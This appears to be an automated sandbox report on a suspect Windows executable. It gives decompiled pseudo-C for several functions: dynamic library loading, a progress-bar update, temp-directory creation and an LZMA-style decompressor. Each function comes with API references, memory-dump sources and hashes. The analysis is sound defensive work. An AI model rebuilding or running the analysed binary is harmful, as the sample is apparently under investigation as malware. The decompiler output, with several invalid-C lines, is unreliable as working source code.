				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x423f38");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x423f08 =  *0x423f08 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E004029F6(0xfffffff0);
				 *(_t34 + 8) = E004029F6(1);
				if( *((intOrPtr*)(_t34 - 0x14)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404D7B(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x1c)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 0x34)), 0x400, 0x424000, 0x40af50, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x1c)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x18)) == _t27 && E004034C6(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f51
0x00401f51
0x00401f56
0x00401f5d
0x00402019
0x00402164
0x00402164
0x0040288b
0x0040288e
0x0040289a
0x0040289a
0x00401f6c
0x00401f76
0x00401f79
0x00401f88
0x00401f8c
0x00401f92
0x00401f96
0x00402012
0x00000000
0x00402012
0x00401f98
0x00401fa2
0x00401fa6
0x00401fea
0x00401fa8
0x00401fab
0x00401fae
0x00401fde
0x00401fb0
0x00401fb3
0x00401fbc
0x00401fbe
0x00401fbe
0x00401fbc
0x00401fae
0x00401ff2
0x00402007
0x00402007
0x00000000
0x00401ff2
0x00401f7c
0x00401f82
0x00401f86
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction ID: d4347cebb671b603d0a5d412fc90ce50d757f993dc699470b494ace3858b78d6
Opcode Fuzzy Hash: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction Fuzzy Hash: 7221EE72D04216ABCF107FA4DE89A6E75B06B44359F204337F611B52E0D77C4941965E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				intOrPtr _t15;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t15 =  *0x423eb0; // 0x7b0d54
					_t6 = _t17 * 0x1c + _t15;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42366c =  *0x42366c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42366c, 0x7530,  *0x423654), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x00401392
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Strings

T{, xrefs: 00401392

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID: T{
API String ID: 3850602802-3868035463
Opcode ID: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction ID: 9357c62ddf9e7b3c824d0b87f8e4bad160879ee2cb8093492041203a2cf1b2c1
Opcode Fuzzy Hash: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction Fuzzy Hash: A301F431724210ABE7295B389D04B2A36ADF710355F10427BF855F66F1D67CDC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00403097, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403097(void* __eflags) {
				void* _t2;
				void* _t5;
				CHAR* _t6;

				_t6 = "C:\\Users\\engineer\\AppData\\Local\\Temp\\";
				E00405C3F(_t6);
				_t2 = E0040553D(_t6);
				if(_t2 != 0) {
					E004054D0(_t6);
					CreateDirectoryA(_t6, 0); // executed
					_t5 = E004056E3("1033", _t6); // executed
					return _t5;
				} else {
					return _t2;
				}
			}

0x00403098
0x0040309e
0x004030a4
0x004030ab
0x004030b0
0x004030b8
0x004030c4
0x004030ca
0x004030ae
0x004030ae
0x004030ae

APIs

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004030B8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403098, 0040309D, 004030A3, 004030AF, 004030B7, 004030BE
1033, xrefs: 004030BF

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3512041753
Opcode ID: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction ID: 14cf73edb083f9294524d0cb591bdba299ebaa8e37fda96f2dae1f3ab35ccfa6
Opcode Fuzzy Hash: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction Fuzzy Hash: 95D0C92160BD3032D66136263D0AFDF155C8F5236EFA1447BF809B61CA5B6C6A8219FF

Uniqueness

Uniqueness Score: -1.00%

Function 004063DD, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E004063DD() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M0040684B))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
